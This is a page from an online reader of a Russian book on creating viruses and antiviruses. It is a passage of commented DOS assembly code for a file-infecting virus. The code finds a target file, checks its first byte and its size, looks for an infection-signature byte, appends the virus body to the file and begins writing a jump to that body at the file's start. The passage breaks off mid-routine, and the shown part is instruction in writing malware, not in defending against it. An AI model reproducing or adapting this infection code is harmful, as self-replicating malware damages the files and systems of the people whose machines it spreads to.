Создаем вирус и антивирус. Игорь Гульев
Чтение книги онлайн.
Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 4
jmp exit
;Читаем первый байт файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf–offset myself
add dx,bp
xor cx,cx ;CX=0
inc cx ;(увеличение на 1) CX=1
int 21h
;Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего файла –
;этот для заражения не подходит
cmp byte ptr [bp+(offset buf–offset myself)],0E9h
jne find_next
;Переходим в начало файла
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
;Читаем первые три байта файла в тело вируса
See_Him2:
mov ah,3Fh
mov dx,offset bytes_3–offset myself
add dx,bp
mov cx,3
int 21h
;Получаем длину файла, для чего переходим в конец файла
Testik:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
Size_test:
;Сохраняем полученную длину файла
mov [bp+(offset flen−offset MySelf)],ax
;Проверяем длину файла
cmp ax,64000
;Если файл не больше 64000 байт,– переходим
;к следующей проверке,
;иначе ищем другой файл (этот слишком велик для заражения)
jna rich_test
jmp find_next
;Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
Rich_test:
;Переходим в конец файла (на последний байт)
mov ax,4200h
xor cx,cx
mov dx,[bp+(offset flen−offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor cx,cx
inc cx
mov dx,offset bytik–offset myself
add dx,bp
int 21h
;Если при чтении файла ошибок
;не произошло – проверяем сигнатуру,
;иначе ищем следующий файл
jnc test_bytik
jmp find_next
;Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte
;Если сигнатура есть, то ищем другой файл,
;если нет – будем заражать
jne Not_infected
jmp find_next
;Файл не заражен – будем заражать
Not_infected:
mov ax,[bp+(offset flen−offset myself)]
sub ax,03h
mov [bp+(offset jmp_cmd−offset myself)],ax
I_am_copy:
;Переходим в конец файла
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
;Устанавливаем регистр DS на сегмент кода
push cs
pop ds
;Копируем вирус в файл
mov ah,40h
mov cx,offset VirEnd–offset la
mov dx,bp
sub dx,offset myself−offset la
int 21h
;Записываем в начало файла переход на тело вируса
Write_Jmp:
;Переходим